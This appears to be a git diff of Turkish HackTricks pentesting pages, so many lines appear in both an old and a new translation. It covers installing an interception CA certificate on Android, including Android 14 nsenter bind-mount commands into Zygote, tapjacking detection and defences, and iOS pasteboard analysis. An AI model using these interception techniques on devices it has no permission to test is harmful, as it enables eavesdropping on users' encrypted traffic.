* Sertifikanın doğru şekilde kaydedildiğini kontrol edin, `Güvenilir kimlik bilgileri` -> `KULLANICI` bölümüne gidin
* Sertifikanın doğru şekilde kaydedildiğini kontrol etmek için `Güvenilir kimlik bilgileri` -> `KULLANICI` bölümüne gidin
<figure><img src="../../.gitbook/assets/image (51).png" alt="" width="334"><figcaption></figcaption></figure>
2. **Sistemde güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, telefonunuza sürükleyip bırakın, telefonunuzdaki Magics uygulamasına gidin, `Modüller` bölümüne gidin, `Depodan yükle` seçeneğine tıklayın, `.zip` modülünü seçin ve kurulum tamamlandıktan sonra telefonu **yeniden başlatın**:
2. **Sistemde güvenilir hale getirin**: Magisc modülünü [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (bir .zip dosyası) indirin, telefonunuza **sürükleyip bırakın**, telefonunuzdaki Magics uygulamasına gidin, `Modüller` bölümüne gidin, `Depodan yükle`'yi tıklayın, `.zip` modülünü seçin ve kurulumu tamamladıktan sonra telefonu **yeniden başlatın**:
<figure><img src="../../.gitbook/assets/image (52).png" alt="" width="345"><figcaption></figcaption></figure>
* Yeniden başlatıldıktan sonra, `Güvenilir kimlik bilgileri` -> `SİSTEM` bölümüne gidin ve Postswigger sertifikasının orada olduğunu kontrol edin
* Yeniden başlattıktan sonra, `Güvenilir kimlik bilgileri` -> `SİSTEM` bölümüne gidin ve Postswigger sertifikasının orada olduğunu kontrol edin
<figure><img src="../../.gitbook/assets/image (53).png" alt="" width="314"><figcaption></figcaption></figure>
## Android 14 Sonrası
En son Android 14 sürümünde, sistem-güvenilir Sertifika Yetkilisi (CA) sertifikalarının işlenmesinde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunur ve kök ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilirdi, bu da sisteme hemen uygulanmasına olanak tanırdı. Ancak, Android 14 ile, depolama yeri **`/apex/com.android.conscrypt/cacerts`** dizinine taşındı, bu da doğası gereği değiştirilemez olan **`/apex`** yolundaki bir dizindir.
En son Android 14 sürümünde, sistem-güvenilir Sertifika Yetkilisi (CA) sertifikalarının işleninde önemli bir değişiklik gözlemlenmiştir. Önceden, bu sertifikalar **`/system/etc/security/cacerts/`** dizininde bulunur ve kök ayrıcalıklarına sahip kullanıcılar tarafından erişilebilir ve değiştirilebilirdi, bu da sisteme hemen uygulanmasına olanak tanırdı. Ancak, Android 14 ile, depolama yeri **`/apex/com.android.conscrypt/cacerts`** dizinine taşınmıştır, bu da doğası gereği değiştirilemez olan **`/apex`** yolundaki bir dizindir.
**APEX cacerts yolunu** yazılabilir olarak yeniden bağlamaya yönelik girişimler başarısızlıkla karşılaşır, çünkü sistem böyle işlemlere izin vermez. Dizin üzerine geçici bir dosya sistemi (tmpfs) ile aşma veya kaldırma girişimleri bile, dizinin değiştirilemezliğini atlatmaz; uygulamalar, dosya sistemi seviyesinde yapılan değişikliklere rağmen orijinal sertifika verilerine erişmeye devam eder. Bu direnç, **`/apex`** bağının ÖZEL yayılma ile yapılandırılmış olmasından kaynaklanır, bu da **`/apex`** dizinindeki değişikliklerin diğer işlemleri etkilememesini sağlar.
**APEX cacerts yolunu** yazılabilir olarak yeniden bağlamaya yönelik girişimler başarısızlıkla karşılaşır, çünkü sistem böyle işlemlere izin vermez. Dizin üzerine geçici bir dosya sistemi (tmpfs) ile aşma veya kaldırma girişimleri bile değiştirilemezliği atlatmaz; uygulamalar, dosya sistemi seviyesinde yapılan değişikliklere rağmen orijinal sertifika verilerine erişmeye devam eder. Bu direnç, **`/apex`** bağının ÖZEL yayılma ile yapılandırılmış olmasından kaynaklanır, bu da **`/apex`** dizinindeki değişikliklerin diğer işlemleri etkilememesini sağlar.
Android'in başlatılması, işletim sistemini başlatırken aynı zamanda Zygote işlemini başlatan `init` işlemiyle gerçekleşir. Bu işlem, bu dizinden izole edilmiş bir yeni bağlama ad alanı içeren uygulama işlemlerini başlatmakla sorumludur.
Android'in başlatılması, işletim sistemini başlatırken aynı zamanda Zygote işlemini başlatan `init` işlemiyle gerçekleşir. Bu işlem, bu dizini diğer işlemlerden izole eden yeni bir bağlama ad alanı ile uygulama işlemlerini başlatmakla sorumludur.
Yine de, **`/apex`** dizinindeki sistem-güvenilir CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i yeniden bağlayarak ÖZEL yayılmayı kaldırmayı içerir, böylece yazılabilir hale getirilir. Bu süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalamayı, **`/apex/com.android.conscrypt`** dizinini salt okunur kısıtlamasını kaldırmak için bağlamamayı ve ardından içeriği orijinal konumlarına **`/apex`** içinde geri yüklemeyi içerir. Bu yaklaşım, sistem çökmelerini önlemek için hızlı bir şekilde hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için, `system_server`'ı yeniden başlatmanız önerilir, bu da tüm uygulamaları yeniden başlatır ve sistemi tutarlı bir duruma getirir.
Yine de, **`/apex`** dizinindeki sistem-güvenilir CA sertifikalarını değiştirmek isteyenler için bir çözüm bulunmaktadır. Bu, **`/apex`**'i ÖZEL yayılmasını kaldırmak için manuel olarak yeniden bağlamayı içerir, böylece yazılabilir hale getirilir. Bu süreç, **`/apex/com.android.conscrypt`** içeriğini başka bir konuma kopyalamayı, **`/apex/com.android.conscrypt`** dizinini salt okunur kısıtlamasını kaldırmak için bağlamayı kaldırmayı ve ardından içeriği orijinal konumuna **`/apex`** içinde geri yüklemeyi içerir. Bu yaklaşım, sistem çökmelerini önlemek için hızlı bir şekilde hareket etmeyi gerektirir. Bu değişikliklerin sistem genelinde uygulanmasını sağlamak için `system_server`'ı yeniden başlatmanız önerilir, bu da tüm uygulamaları yeniden başlatır ve sistemi tutarlı bir duruma getirir.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -136,16 +141,16 @@ echo "System certificate injected"
```
### NSEnter üzerinden Bind-mounting
1. **Yazılabilir Bir Dizin Oluşturma**: İlk olarak, mevcut olmayan APEX olmayan sistem sertifika dizininin üzerine bir `tmpfs` bağlanarak yazılabilir bir dizin oluşturulur. Bu, aşağıdaki komutla gerçekleştirilir:
1. **Yazılabilir Bir Dizin Oluşturma**: İlk olarak, mevcut olmayan APEX olmayan sistem sertifika dizini üzerine bir `tmpfs` bağlanarak yazılabilir bir dizin oluşturulur. Bu, aşağıdaki komutla gerçekleştirilir:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin kurulumunu takiben, kullanmayı amaçladığınız CA sertifikaları bu dizine kopyalanmalıdır. Bu, varsayılan sertifikaların `/apex/com.android.conscrypt/cacerts/` dizininden kopyalanmasını gerektirebilir. Bu sertifikaların izinleri ve SELinux etiketleri uygun şekilde ayarlanmalıdır.
3. **Zygote İçin Bağlama Bağlama**: `nsenter` kullanılarak, Zygote'un bağlama ad alanına girilir. Android uygulamalarını başlatmakla sorumlu olan Zygote, bundan sonra başlatılan tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adımı gerektirir. Kullanılan komut şudur:
2. **CA Sertifikalarını Hazırlama**: Yazılabilir dizinin kurulumunu takiben, kullanmayı amaçladığınız CA sertifikaları bu dizine kopyalanmalıdır. Bu, varsayılan sertifikaların `/apex/com.android.conscrypt/cacerts/` dizininden kopyalanmasını gerektirebilir. Bu sertifikaların izinlerini ve SELinux etiketlerini buna göre ayarlamak önemlidir.
3. **Zygote için Bağlama Bağlama**: `nsenter` kullanılarak, Zygote'un bağlama ad alanına girilir. Android uygulamalarını başlatma işleminden sorumlu olan Zygote, bundan sonra başlatılan tüm uygulamaların yeni yapılandırılmış CA sertifikalarını kullanmasını sağlamak için bu adımı gerektirir. Kullanılan komut şudur:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
Bu, her yeni uygulamanın güncellenmiş CA sertifikaları kurulumuna uyacağından emin olur.
Bu, her yeni uygulamanın güncellenmiş CA sertifikaları kurulumuna uyacağını sağlar.
4. **Çalışan Uygulamalara Değişiklikler Uygulama**: Zaten çalışan uygulamalara değişiklikleri uygulamak için, `nsenter` tekrar kullanılarak her uygulamanın ad alanına bireysel olarak girilir ve benzer bir bağ montajı gerçekleştirilir. Gerekli komut şudur:
```bash
@ -156,3 +161,21 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/
## Referanslar
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,41 +2,43 @@
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
- **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
- **Hacking püf noktalarınızı göndererek PR'ler aracılığıyla** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **Temel Bilgiler**
**Tapjacking**, bir **kötü niyetli uygulamanın** başlatıldığı ve bir kurban uygulamanın üzerine yerleştiği bir saldırıdır. Kurban uygulamayı görünür şekilde engellediğinde, kullanıcı arayüzü, kullanıcıyı yanıltacak şekilde tasarlanırken, etkileşimi kurban uygulamaya iletmektedir.\
Bu şekilde, kullanıcıya, gerçekte kurban uygulamada eylemler gerçekleştirdiğini bilmemesi sağlanır.
**Tapjacking**, **kötü niyetli bir uygulamanın** **kurban uygulamanın üzerine yerleştiği** ve kurban uygulamanın kullanıcı arayüzünü yanıltacak şekilde tasarlandığı bir saldırıdır. Kurban uygulamada gerçekleştirilen eylemleri kullanıcının farkında olmadan gerçekleştirmesine neden olur.
### Tespit
Bu saldırıya karşı savunmasız uygulamaları tespit etmek için android manifestteki **dışa aktarılan aktiviteleri** aramalısınız (bir intent-filter'a sahip bir aktivite varsayılan olarak otomatik olarak dışa aktarılır). Dışa aktarılan aktiviteleri bulduktan sonra, **herhangi bir izin gerekip gerekmediğini kontrol edin**. Çünkü **kötü niyetli uygulama da o izne ihtiyaç duyacaktır**.
Bu saldırıya karşı savunmasız uygulamaları tespit etmek için android manifest dosyasında **dışa aktarılan aktiviteleri** aramalısınız (bir intent-filter'a sahip bir aktivite varsayılan olarak dışa aktarılır). Dışa aktarılan aktiviteleri bulduktan sonra, **herhangi bir izin gerekip gerekmediğini kontrol edin**. Çünkü **kötü niyetli uygulama da o izne ihtiyaç duyacaktır**.
### Koruma
#### Android 12 (API 31,32) ve daha yüksek
#### Android 12 (API 31,32) ve üstü
[**Bu kaynağa göre**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** Android 12 (API 31 ve 30) ve daha yüksek sürümlerinden itibaren tapjacking saldırıları otomatik olarak Android tarafından engellenir. Bu nedenle, uygulama savunmasız olsa bile **sömürülemezsiniz**.
[**Bu kaynağa göre**](https://www.geeksforgeeks.org/tapjacking-in-android/), Android 12'den (API 31 ve 30) itibaren tapjacking saldırıları otomatik olarak engellenir. Bu nedenle, uygulama savunmasız olsa bile **saldırmak mümkün olmayacaktır**.
#### `filterTouchesWhenObscured`
Eğer **`android:filterTouchesWhenObscured`** **`true`** olarak ayarlanmışsa, `View`, görünür başka bir pencere tarafından engellendiğinde dokunmaları almayacaktır.
**`android:filterTouchesWhenObscured`** **`true`** olarak ayarlandığında, `View` başka bir görünür pencere tarafından kaplandığında dokunmaları almayacaktır.
#### **`setFilterTouchesWhenObscured`**
Eğer Android sürümü daha düşükse, **`setFilterTouchesWhenObscured`** özelliği **`true`** olarak ayarlanırsa, bu zafiyetin sömürülmesini engelleyebilir.\
Örneğin, bir düğme **görünür şekilde engellendiğinde otomatik olarak devre dışı bırakılabilir**:
Özellik **`setFilterTouchesWhenObscured`** **true** olarak ayarlandığında, bu zafiyetin sömürülmesini önleyebilir, Android sürümü daha düşükse. Örneğin, bir düğme **kapalıysa otomatik olarak devre dışı bırakılabilir**:
```xml
<Button android:text="Button"
android:id="@+id/button1"
@ -49,38 +51,28 @@ android:filterTouchesWhenObscured="true">
### Tapjacking-ExportedActivity
En **son Android uygulaması** bir Tapjacking saldırısı gerçekleştiren (+ saldırıya uğrayan uygulamanın dışa aktarılan bir etkinliğini çağırmadan önce) şurada bulunabilir: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
En son **Android uygulaması** bir Tapjacking saldırısı gerçekleştirebilir (+ hedeflenen uygulamanın dışa aktarılan bir etkinliğini çağırarak) [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity) adresinde bulunabilir.
Kullanmak için **README talimatlarını takip edin**.
### FloatingWindowApp
Tıklama hırsızlığı saldırısı gerçekleştirmek için diğer etkinliklerin üzerine yerleştirilebilen **FloatingWindowApp**'i uygulayan bir örnek proje [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) adresinde bulunabilir (biraz eski, apk oluştururken iyi şanslar).
Diğer etkinliklerin üzerine yerleştirilebilecek ve bir tıklama sahtekarlığı saldırısı gerçekleştirmek için kullanılabilecek **FloatingWindowApp**'i uygulayan bir örnek proje [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) adresinde bulunabilir (biraz eski, apk oluşturma konusunda iyi şanslar).
### Qark
{% hint style="danger" %}
Bu proje artık bakımsız görünüyor ve bu işlevsellik artık düzgün çalışmıyor gibi görünüyor.
Bu proje artık bakımsız görünüyor ve bu işlev artık düzgün çalışmıyor gibi görünüyor
{% endhint %}
Muhtemel **Tapjacking** zafiyetlerini test etmek için kötü niyetli bir uygulama oluşturmak için [**qark**](https://github.com/linkedin/qark) aracını `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` parametreleriyle kullanabilirsiniz.
Muhtemel **Tapjacking** zafiyetlerini test etmek için kötü niyetli bir uygulama oluşturmak için `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` parametreleri ile [**qark**](https://github.com/linkedin/qark) kullanabilirsiniz.
Bu saldırıyı önlemek oldukça basittir çünkü geliştirici, bir görünüm başka bir görünüm tarafından kaplandığında dokunma olaylarını almayı seçmeyebilir. [Android Geliştirici Referansı](https://developer.android.com/reference/android/view/View#security) kullanılarak şu şekilde açıklanmıştır:
Geliştirici, bir görünümün başka bir şey tarafından kapatıldığında dokunma olaylarını almayı seçebileceğinden, önlem oldukça basittir. [Android Geliştirici Referansı](https://developer.android.com/reference/android/view/View#security) kullanarak:
> Bir izin isteği vermek, bir satın alma yapmak veya bir reklama tıklamak gibi bir eylemin kullanıcının tam bilgisi ve onayıyla gerçekleştirildiğini doğrulamanın bazen önemli olduğu durumlar vardır. Ne yazık ki, kötü niyetli bir uygulama, kullanıcının bu eylemleri farkında olmadan gerçekleştirmesini sağlamak için görünümün amaçlanan amacını gizleyebilir. Bir çözüm olarak, çerçeve, hassas işlevselliğe erişim sağlayan görünümlerin güvenliğini artırmak için kullanılabilecek bir dokunma filtreleme mekanizması sunar.
> Bazı durumlarda, bir uygulamanın, kullanıcının tam bilgi ve onayıyla gerçekleştirildiğini doğrulaması gerekebilir, örneğin bir izin isteği vermek, bir satın alma yapmak veya bir reklama tıklamak. Ne yazık ki, kötü niyetli bir uygulama, kullanıcıyı, amaçlanan görünümün amacını gizleyerek, bu eylemleri bilmeksizin gerçekleştirmeye çalışabilir. Bir çözüm olarak, çerçeve, hassas işlevselliğe erişim sağlayan görünümlerin güvenliğini artırmak için kullanılabilecek bir dokunma filtreleme mekanizması sunar.
>
> Dokunma filtrelemeyi etkinleştirmek için [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) yöntemini çağırın veya android:filterTouchesWhenObscured düzen özniteliğini true olarak ayarlayın. Etkinleştirildiğinde, çerçeve, görünümün penceresinin başka bir görünür pencere tarafından kaplandığı her zaman alınan dokunmaları atar. Sonuç olarak, bir tost, iletişim kutusu veya diğer bir pencere görünümün penceresinin üzerinde göründüğünde görünüm dokunmaları almayacaktır.
> Dokunma filtrelemeyi etkinleştirmek için [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) yöntemini çağırın veya android:filterTouchesWhenObscured düzen özniteliğini true olarak ayarlayın. Etkinleştirildiğinde, çerçeve, görünümün penceresinin başka bir görünür pencere tarafından kapatıldığı her zaman alınan dokunuşları reddedecektir. Sonuç olarak, bir toast, iletişim kutusu veya başka bir pencere görünümün penceresinin üzerinde göründüğünde, görünüm dokunuşları almayacaktır.
<details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> öğrenin!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
</details>
{% embed url="https://websec.nl/" %}

View file

@ -1,51 +1,56 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>öğrenin!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
iOS cihazlarda uygulamalar arasında ve uygulama içinde veri paylaşımı, [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) mekanizmasıyla sağlanır ve iki temel kategoriye ayrılır:
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
- **Sistem genel panosu**: Bu, verilerin **herhangi bir uygulama** ile paylaşılması için kullanılır ve iOS 10'dan beri mevcut olan verilerin cihaz yeniden başlatmaları ve uygulama kaldırmaları sırasında kalıcı olmasını sağlayan bir özellik içerir.
- **Özel/Adlandırılmış panolar**: Bunlar, aynı takım kimliğini paylaşan bir uygulama içinde veya başka bir uygulama ile veri paylaşımı için özeldir ve iOS 10'da yapılan değişikliklerle oluşturan uygulama sürecinin yaşam süresinden öteye geçmez.
{% embed url="https://websec.nl/" %}
Panoları kullanırken **güvenlik önlemleri** önemli bir rol oynar. Örneğin:
- Kullanıcıların **panoya erişim izinlerini yönetmek** için bir mekanizma bulunmamaktadır.
- Panonun yetkisiz arka plan izlenmesi riskini azaltmak için erişim, uygulama ön planda olduğunda sınırlıdır (iOS 9'dan beri).
- Gizlilik endişeleri nedeniyle kalıcı adlandırılmış panoların kullanımı, paylaşılan konteynerlere tercih edilir.
- iOS 10 ile tanıtılan **Evrensel Pano** özelliği, genel panoyoluyla cihazlar arasında içerik paylaşımına izin verir ve geliştiriciler tarafından veri süresi dolma ve otomatik içerik aktarımı devre dışı bırakma gibi ayarlar yapılabilir.
Hassas bilgilerin yanlışlıkla genel panoya kaydedilmediğinden emin olmak önemlidir. Ayrıca, uygulamaların genel panodaki verilerin istenmeyen eylemler için kötüye kullanılmasını önlemek için tasarlanması ve geliştiricilerin hassas bilgilerin panoya kopyalanmasını önlemek için önlemler alması teşvik edilir.
iOS cihazlarında ve uygulamalar arasında veri paylaşımı, [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) mekanizması aracılığıyla sağlanır ve bu mekanizma genellikle iki ana kategoriye ayrılır:
- **Sistem genel panosu**: Bu, verilerin **herhangi bir uygulama ile paylaşılması** için kullanılır ve iOS 10'dan beri mevcut olan verilerin cihaz yeniden başlatmaları ve uygulama kaldırmaları boyunca kalıcı olmasını sağlayan bir özellik içerir.
- **Özel / Adlandırılmış panolar**: Bunlar, **bir uygulama içinde veya aynı takım kimliğini paylaşan başka bir uygulama ile veri paylaşımı** için özeldir ve oluşturan uygulama sürecinin yaşam süresini aşmamak üzere tasarlanmıştır ve iOS 10'da yapılan değişiklikleri takip eder.
**Güvenlik düşünceleri**, panoları kullanırken önemli bir rol oynar. Örneğin:
- Kullanıcıların **panoya erişim izinlerini yönetmeleri** için bir mekanizma bulunmamaktadır.
- Panonun izinsiz arka planda izlenmesi riskini azaltmak için erişim, uygulama önyüzdeyken kısıtlanmıştır (iOS 9'dan beri).
- Gizlilik endişeleri nedeniyle kalıcı adlandırılmış panoların kullanımı yerine paylaşılan konteynerlerin tercih edilmesi önerilir.
- iOS 10 ile tanıtılan **Evrensel Pano** özelliği, içeriğin genel panoyoluyla cihazlar arasında paylaşılmasına izin verir ve geliştiricilerin veri süresini ayarlamak ve otomatik içerik transferini devre dışı bırakmak için yönetilmesine olanak tanır.
**Hassas bilgilerin yanlışlıkla depolanmamasının** sağlanması önemlidir. Ayrıca, uygulamaların genel panodaki verilerin yanlış amaçlar için kullanılmasını önlemek üzere tasarlanması ve geliştiricilerin hassas bilgilerin panoya kopyalanmasını önlemek için önlemler alması teşvik edilir.
### Statik Analiz
Statik analiz için kaynak kodu veya ikili dosyada aşağıdaki aramaları yapın:
- **generalPasteboard** kullanımını belirlemek için.
- Özel panolar oluşturmak için **pasteboardWithName:create:** ve **pasteboardWithUniqueName**. Kalıcılığın etkin olup olmadığını doğrulayın, ancak bu yöntem artık kullanımdan kaldırılmıştır.
Statik analiz için kaynak kodu veya ikili dosyada arama yaparak:
- `generalPasteboard` kullanımını belirlemek için **sistem genel panosunu** arayın.
- **Özel panoları oluşturmak için** `pasteboardWithName:create:` ve `pasteboardWithUniqueName` arayın. Kalıcılığın etkin olup olmadığını doğrulayın, ancak bu yöntem artık kullanımdan kaldırılmıştır.
### Dinamik Analiz
Dinamik analiz, belirli yöntemleri kancalamayı veya izlemeyi içerir:
- Sistem genel kullanım için **generalPasteboard**'u izleyin.
- Özel uygulamalar için **pasteboardWithName:create:** ve **pasteboardWithUniqueName**'i izleyin.
- Kalıcılık ayarlarını kontrol etmek için kullanılan **setPersistent:** yöntemi çağrılarını izleyin.
Dinamik analiz, belirli yöntemleri kancalama veya izleme işlemi içerir:
- Sistem genel kullanım için `generalPasteboard`'u izleyin.
- Özel uygulamalar için `pasteboardWithName:create:` ve `pasteboardWithUniqueName`'yi izleyin.
- Kalıcılık ayarlarını kontrol etmek için kullanılan artık kullanılmayan `setPersistent:` yöntem çağrılarını izleyin.
İzlenmesi gereken önemli ayrıntılar şunlardır:
- **Pano adları** ve **içerikleri** (örneğin, dize, URL, resim kontrolü).
- Standart ve özel veri türü kontrolü kullanarak mevcut olan **öğe sayısı** ve **veri türleri**.
- `setItems:options:` yöntemini inceleyerek **süre dolma ve yalnızca yerel seçenekleri**.
İzlenmesi gereken temel detaylar şunlardır:
- **Pano adları** ve **içerikleri** (örneğin, dizeler, URL'ler, resimler kontrol edilir).
- Standart ve özel veri türü kontrollerini kullanarak mevcut olan **öğe sayısı** ve **veri türleri**.
- `setItems:options:` yöntemini inceleyerek **süresi dolmuş ve yalnızca yerel seçenekleri** kontrol edin.
Bir izleme aracı örneği, **objection'in panoya izleme** aracıdır. Bu araç, generalPasteboard'u her 5 saniyede bir değişiklikler için tarar ve yeni verileri çıktılar.
Bir izleme aracı kullanımı örneği **objection'ın pano izleyicisi**dir, bu araç genelPanoyu her 5 saniyede bir değişiklikleri izler ve yeni verileri çıktılar.
İşte, objection yaklaşımından esinlenerek, panodan verileri her 5 saniyede bir okuyan ve kaydeden basit bir JavaScript betik örneği:
